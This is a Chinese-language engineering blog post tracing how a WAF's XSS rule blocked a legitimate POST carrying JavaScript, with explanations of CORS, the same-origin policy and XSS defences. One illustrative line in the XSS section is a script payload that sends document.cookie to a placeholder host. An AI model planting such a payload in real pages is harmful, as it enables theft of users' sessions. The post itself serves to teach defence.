層層剖析一次 HTTP POST 請求事故
作者 ｜ vivo 互聯(lián)網(wǎng)服務(wù)器團隊- Wei Ling
本文主要講述的是如何根據(jù)公司網(wǎng)絡(luò)架構(gòu)和業(yè)務(wù)特點，鎖定正常請求被誤判為跨域的原因并解決。
一、問題描述
某一個業(yè)務(wù)后臺在表單提交的時候，報跨域錯誤，具體如下圖：
從圖中可看出，報錯原因為HTTP請求發(fā)送失敗，由此，需先了解HTTP請求完整鏈路是什么。
HTTP請求一般經(jīng)過3個關(guān)卡，分別為DNS、Nginx、Web服務(wù)器，具體流程如下圖：
- 瀏覽器發(fā)送請求首先到達(dá)當(dāng)?shù)剡\營商DNS服務(wù)器，經(jīng)過域名解析獲取請求 IP 地址
- 瀏覽器獲取 IP 地址后，發(fā)送HTTP請求到達(dá)Nginx，由Nginx反向代理到Web服務(wù)端
- 最后，由web服務(wù)端返回相應(yīng)的資源
了解HTTP基本請求鏈路后，結(jié)合問題，進行初步調(diào)查，發(fā)現(xiàn)此form表單是application/json格式的post提交。同時，此業(yè)務(wù)系統(tǒng)采用了前后端分離的架構(gòu)方式(頁面域名和后臺服務(wù)域名不同 ), 并且在Nginx已經(jīng)配置跨域解決方案。基于此，我們進行分析。
二、問題排查步驟
第一步：自測定位
既然是form表單，我們采用控制變量法，嘗試對每一個字段進行修改后提交測試。在多次試驗后，鎖定表單中的moduleExport 字段的變化會導(dǎo)致這個問題。
考慮到moduleExport字段在業(yè)務(wù)上是一段JS代碼，我們嘗試對這段JS代碼進行刪除/修改，發(fā)現(xiàn)：當(dāng)字段moduleExport中的這段js代碼足夠小的時候，問題消失。
基于上述發(fā)現(xiàn)，我們第一個猜想是：會不會是HTTP響應(yīng)方的請求body大小限制導(dǎo)致了這個問題。
第二步：排查 HTTP 請求 body 限制
由于采用前后端分離，真實的請求是由 XXX.XXX.XXX 這個內(nèi)網(wǎng)域名代表的服務(wù)進行響應(yīng)的。而內(nèi)網(wǎng)域名的響應(yīng)鏈如下：
那么理論上，如果是HTTP請求body的限制，則可能發(fā)生在 LVS 層或者Nginx層或者Tomcat。我們一步步排查：
首先排查LVS層。若LVS層故障，則會出現(xiàn)網(wǎng)關(guān)異常的問題，返回碼會為502。故此，通過抓包查看返回碼，從下圖可看出，返回碼為418，故而排除LVS異常的可能
其次排查Nginx 層。Nginx層的HTTP配置如下:
我們看到，在Nginx層，最大支持的HTTP請求body為50m， 而我們這次事故的form請求表單，大約在2M， 遠(yuǎn)小于限制， 所以：不是Nginx 層HTTP請求body的限制造成的。
然后排查 Tomcat 層，查看 Tomcat 配置：
我們發(fā)現(xiàn)， Tomcat 對于最大post請求的size限制是-1， 語義上表示為無限制，所以： 不是 Tomcat 層HTTP請求body的限制造成的。
綜上，我們可以認(rèn)為：此次問題和HTTP請求body的大小限制無關(guān)。
那么問題來了，如果不是這兩層導(dǎo)致的，那么還會有別的因素或者別的網(wǎng)絡(luò)層導(dǎo)致的嗎?
第三步：集思廣益
我們把相關(guān)的運維方拉到了一個群里面進行討論，討論分兩個階段
【第一階段】
運維方同學(xué)發(fā)現(xiàn) Tomcat 是使用容器進行部署的，而容器和nginx層中間，存在一個容器自帶的nameserver層——ingress。我們查看ingress的相關(guān)配置后，發(fā)現(xiàn)其對于HTTP請求body的大小限制為3072m。排除是ingress的原因。
【第二階段】
安全方同學(xué)表示，公司為了防止XSS攻擊，會對于所有后臺請求，都進行XSS攻擊的校驗，如果校驗不通過，會報跨域錯誤。
也就是說，理論上完整的網(wǎng)絡(luò)層調(diào)用鏈如下圖：
并且從WAF的工作機制和問題表象上來看，很有可能是WAF層的原因。
第四步：WAF 排查
帶著上述的猜測，我們重新抓包，嘗試獲取整個HTTP請求的optrace路徑，看看是不是在WAF層被攔截了，抓包結(jié)果如下：
從抓包數(shù)據(jù)上來看，status為complete代表前端請求發(fā)送成功，返回碼為418，而optrace中的ip地址經(jīng)查詢?yōu)閃AF服務(wù)器ip地址。
綜上而言，form表單中的moduleExport字段的變化很可能導(dǎo)致在WAF層被攔截。而出現(xiàn)問題的moduleExport字段內(nèi)容如下：
module.exports = {
"labelWidth": 80,
"schema": {
"title": "XXX",
"type": "array",
"items":{
"type":"object",
"required":["key","value"],
"properties":{
"conf":{
"title":"XXX",
"type":"string"
},
"configs":{
"title":"XXX",
"type":"array",
"items":{
config: {
validator: function(value, callback) {
// 至少填寫一項
if(!value || !Object.keys(value).length) {
return callback(new Error('至少填寫一項'))
}
callback()
}
}
}
我們進行一個字段一個字段排查后，鎖定
module.exports.items.properties.configs.config.validator字段會觸發(fā)WAF的攔截機制：請求包過WAF模塊時會對所有的攻擊規(guī)則都會進行匹配，若屬于高危風(fēng)險規(guī)則，則觸發(fā)攔截動作。
三、 問題分析
整個故障的原因，是業(yè)務(wù)請求的內(nèi)容觸發(fā)了WAF的XSS攻擊檢測。那么問題來了
- 為什么需要WAF
- 什么是XSS攻擊
在說明XSS之前，先得說清楚瀏覽器的跨域保護機制
3.1 跨域保護機制
現(xiàn)代瀏覽器都具備‘同源策略’，所謂同源策略，是指只有在地址的：
- 協(xié)議名 HTTPS，HTTP
- 域名
- 端口名
均一樣的情況下，才允許訪問相同的cookie、localStorage或是發(fā)送Ajax請求等等。若在不同源的情況下訪問，就稱為跨域。而在日常開發(fā)中，存在合理的跨域需求，比如此次問題故障對應(yīng)的系統(tǒng)，由于采用了前后端分離，導(dǎo)致頁面的域名和后臺的域名必然不相同。那么如何合理跨域便成了問題。
常見的跨域解決方案有：IFRAME, JSONP, CORS三種。
- IFRAME 是在頁面內(nèi)部生成一個IFRAME，并在IFRAME內(nèi)部動態(tài)編寫JS進行提交。用到此技術(shù)的有早期的EXT框架等等。
- JSONP 是將請求序列化成一個string，然后發(fā)起一個JS請求，帶上string。此做法需要后臺支持，并且只能使用GET請求。在當(dāng)前的業(yè)內(nèi)已經(jīng)廢除此方案。
- CORS 協(xié)議的應(yīng)用比較廣泛，并且此次出事故的系統(tǒng)是采用了CORS進行前后端分離。那么，什么是CORS協(xié)議呢?
3.2 CORS協(xié)議
CORS(Cross-Origin Resource Sharing)跨源資源分享是解決瀏覽器跨域限制的W3C標(biāo)準(zhǔn)(官方文檔)，其核心思路是：在HTTP的請求頭中設(shè)置相應(yīng)的字段，瀏覽器在發(fā)現(xiàn)HTTP請求的相關(guān)字段被設(shè)置后，則會正常發(fā)起請求，后臺則通過對這些字段的校驗，決定此請求是否是合理的跨域請求。
CORS協(xié)議需要服務(wù)器的支持(非服務(wù)器的業(yè)務(wù)進程)， 比如 Tomcat 7及其以后的版本等等。
對于開發(fā)者來說，CORS通信與同源的AJAX通信沒有差別，代碼完全一樣。瀏覽器一旦發(fā)現(xiàn)AJAX請求跨源，就會自動添加一些附加的頭信息，有時還會多出一次附加的請求，但用戶不會有感覺。
因此，實現(xiàn)CORS通信的關(guān)鍵是服務(wù)器(服務(wù)器端可判斷，讓哪些域可以請求)。只要服務(wù)器實現(xiàn)了CORS協(xié)議，就可以跨源通信。
雖然CORS解決了跨域問題，但引入了風(fēng)險，如XSS攻擊，因此在到達(dá)服務(wù)器之前需加一層Web應(yīng)用防火墻(WAF)，它的作用是：過濾所有請求，當(dāng)發(fā)現(xiàn)請求是跨域時，會對整個請求的報文進行規(guī)則匹配，如果發(fā)現(xiàn)規(guī)則不匹配，則直接報錯返回(類似于此次案例中的418)。
整體流程如下：
不合理的跨域請求，我們一般認(rèn)為是侵略性請求，這一類的請求，我們視為XSS攻擊。那么廣義而言的XSS攻擊又是什么呢?
3.3 XSS 攻擊機制
XSS為跨站腳本攻擊(Cross-Site Scripting)的縮寫，可以將代碼注入到用戶瀏覽的網(wǎng)頁上，這種代碼包括 HTML 和 JavaScript。
例如有一個論壇網(wǎng)站，攻擊者可以在上面發(fā)布以下內(nèi)容：
<script>location.href="http://domain.com/?c=" + document.cookiescript>
之后該內(nèi)容可能會被渲染成以下形式：
<p><script>location.href="http://domain.com/?c=" + document.cookie</script></p>
另一個用戶瀏覽了含有這個內(nèi)容的頁面將會跳轉(zhuǎn)到 domain.com 并攜帶了當(dāng)前作用域的 Cookie。如果這個論壇網(wǎng)站通過 Cookie 管理用戶登錄狀態(tài)，那么攻擊者就可以通過這個 Cookie 登錄被攻擊者的賬號了。
XSS通過偽造虛假的輸入表單騙取個人信息、顯示偽造的文章或者圖片等方式可竊取用戶的 Cookie，盜用Cookie后就可冒充用戶訪問各種系統(tǒng)，危害極大。
下面給出2種XSS防御機制。
3.4 XSS 防御機制
XSS防御機制主要包括以下兩點：
3.4.1 設(shè)置 Cookie 為 HTTPOnly
設(shè)置了 HTTPOnly 的 Cookie 可以防止 JavaScript 腳本調(diào)用，就無法通過 document.cookie 獲取用戶 Cookie 信息。
3.4.2 過濾特殊字符
例如將 < 轉(zhuǎn)義為<,將> 轉(zhuǎn)義為>，從而避免 HTML 和 Jascript 代碼的運行。
富文本編輯器允許用戶輸入 HTML 代碼，就不能簡單地將 < 等字符進行過濾了，極大地提高了 XSS 攻擊的可能性。
富文本編輯器通常采用 XSS filter 來防范 XSS 攻擊，通過定義一些標(biāo)簽白名單或者黑名單，從而不允許有攻擊性的 HTML 代碼的輸入。
以下例子中，form 和 script 等標(biāo)簽都被轉(zhuǎn)義，而 h 和 p 等標(biāo)簽將會保留。
<h1 id="title">XSS Demo</h1>
<p>123</p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
alert(/xss/);
</script>
<h1>XSS Demo</h1>
<p>123</p>
轉(zhuǎn)義后：
<h1>XSS Demo</h1>
<p>123</p>
<form>
<input type="text" name="q" value="test">
</form>
<pre>hello</pre>
<script type="text/javascript">
alert(/xss/);
</script>
四、問題解決
在確定問題后，讓安全團隊修改WAF的攔截規(guī)則后，問題消失。
最后，對此問題進行總結(jié)。
五、問題總結(jié)
縱覽整個排查過程，最耗費資源的工作集中于問題定位：到底是哪個模塊出現(xiàn)了問題。而定位模塊的最大難點在于：對于網(wǎng)絡(luò)全鏈路的不了解(之前并不知曉WAF層的存在)。
那么，針對類似的問題，我們后面應(yīng)該如何去加速問題的解決呢?我認(rèn)為有兩點需要注意：
- 采用控制變量法， 精準(zhǔn)定位到問題的邊界——什么時候能出現(xiàn)，什么時候不能出現(xiàn)。
- 熟悉每一個模塊的存在，以及每一個模塊的職責(zé)邊界和風(fēng)險可能。
下面來逐個解釋：
5.1 確定問題邊界
我們在一開始，確定是form表單導(dǎo)致的問題后，我們就逐個字段進行修改驗證，最終確定其中某個字段導(dǎo)致的現(xiàn)象。在定位到具體的問題發(fā)生地后，由將之前鎖定的字段進行拆解，逐步分析字段中每個屬性，從而最終確定XX屬性的值觸犯了WAF的規(guī)則機制。
5.2 定位模塊錯誤
在此案例中，跨域拒絕的故障主要是網(wǎng)絡(luò)層，那么我們就必須要摸清楚整個業(yè)務(wù)服務(wù)的網(wǎng)絡(luò)層次結(jié)構(gòu)。然后對每一層的情況進行分析。
- 在Nginx層，我們對配置文件進行分析
- 在ingress層，我們對其中的配置規(guī)則進行分析
- 在Tomcat層，我們對server.xml的屬性進行分析
總結(jié)而言，我們必須熟悉每一個模塊的職責(zé)，并且知曉如何判斷每一個模塊是否在整個鏈路中正常工作，只有基于此，我們才能將問題原因的范圍逐步縮小，從而最后獲得答案。
